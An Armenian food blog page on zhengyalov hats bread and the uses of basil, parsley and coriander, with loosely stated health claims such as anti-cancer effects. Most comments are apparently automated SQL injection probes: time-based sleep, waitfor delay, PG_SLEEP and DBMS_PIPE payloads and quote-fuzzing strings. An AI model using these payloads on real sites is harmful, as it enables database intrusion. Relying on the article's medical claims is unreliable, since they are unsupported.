32

Հայաստանը լեռնային երկիր է՝ լի կանաչիների և խոտաբույսերի հարյուրավոր տեսակներով, որոնք աճում են ամենուր՝ ժայռերից մինչև հովիտներ։

Եթե երբևէ եղել եք Արցախում՝ հայկական հողի ամենագեղատեսիլ վայրերից մեկում, հավանաբար համտեսել եք ժենգյալով հաց, որը պատրաստվում է Արցախի ամենահամեղ և ամենաանուշաբույր կանաչիների համադրությամբ։ Դրանցից որոշները աճում են միայն այնտեղ, քանի որ ունեն տեղանքին բնորոշ կլիմայական և աշխարհագրական պայմանների առանձնահատկություններ։

Ժենգյալով հաց պատրաստելու համար անհրաժեշտ է բացել խմորը թղթի հաստությամբ և լցոնել կտրատված և համեմված կանաչիների խառնուրդով։ Այնուհետև պետք է տապակել այն թավայի կամ հատուկ ջեռոցի՝ սաջի մեջ և հիանալի ուտեստը պատրաստ է։ Այն հատկապես շատ են ուտում Մեծ պահքի շրջանում։

Ժենգյալով հացը փորձելիս կզգաք հայերի և հայկական խոհանոցի հյուրասիրությունն ու ջերմությունը։

Իսկ հիմա, եկեք կարճ անդրադառնանք հայկական խոհանոցում օգտագործվող երեք ամենատարածված կանաչիներին և նրանց օգտակարությանը։

Բազիլիկ ռեհանը ամենաշատ օգտագործվող կանաչիներից լինելու հետ մեկտեղ նաև վիտամինների հրաշալի աղբյուր է։ Այն հիմնականում օգտագործվում է թարմ վիճակով, ուտեստը պատրաստելիս ավելացվում է վերջին պահին, քանի որ եփելիս կորցնում է համի հիմնական մասը։ Ռեհանի օգտակար հատկություններից են ուղեղի աշխատանքին և ոսկրերի ամրությանը նպաստելը և նյութափոխանակությունը կարգավորելը։

Մաղադանոս աշխարհի ամենահայտնի կանաչիներից մեկը լայնորեն օգտագործվում է նաև հայկական խոհանոցում։ Մաղադանոսը A, C և K վիտամինների մեծ աղբյուր է, ինչպես նաև կարգավորում է սրտի աշխատանքն ու իմունային համակարգը։

Համեմ համեմը նույնպես մեծ կիրառություն ունի հայկական խոհանոցում, հատկապես տարբեր ուտեստներ և ապուրներ պատրաստելիս։ Այն ունի հակաքաղցկեղային ազդեցություն, բարելավում է մաշկի վիճակը և լի է օրգանիզմի համար մի շարք օգտակար վիտամիններով։

32 Comments

  1. pdutie94 Հոկտեմբերի 1, 2018 Պատասխանել

    Test

  2. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555

  3. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555oifQAmvc

  4. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555*1

  5. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555*749*744*0

  6. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555+754-749-5

  7. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555*889*884*0

  8. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555+894-889-5

  9. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555*979*974*0

  10. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555+984-979-5

  11. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    -1 OR 2+520-520-1=0+0+0+1

  12. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    -1 OR 3+520-520-1=0+0+0+1

  13. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555*if(now()=sysdate(),sleep(15),0)

  14. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z

  15. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z

  16. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    (select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

  17. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555-1; waitfor delay ‘0:0:15’ —

  18. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555-1); waitfor delay ‘0:0:15’ —

  19. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555-1 waitfor delay ‘0:0:15’ —

  20. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555Ygt3GiEl’; waitfor delay ‘0:0:15’ —

  21. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555-1 OR 291=(SELECT 291 FROM PG_SLEEP(15))–

  22. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555-1) OR 994=(SELECT 994 FROM PG_SLEEP(15))–

  23. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555-1)) OR 39=(SELECT 39 FROM PG_SLEEP(15))–

  24. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555pG2WCzy2′ OR 429=(SELECT 429 FROM PG_SLEEP(15))–

  25. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555Rxr7Fk8K’) OR 236=(SELECT 236 FROM PG_SLEEP(15))–

  26. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555JLfhtGi7′)) OR 410=(SELECT 410 FROM PG_SLEEP(15))–

  27. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  28. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

  29. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555′”

  30. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    555%2527%2522\’\”

  31. wUmrLVWz Փետրվարի 25, 2024 Պատասխանել

    @@ZUd6p

Թողնել պատասխան wUmrLVWz-ի համար Չեղարկել պատասխանը

Your email address will not be published.

0

TOP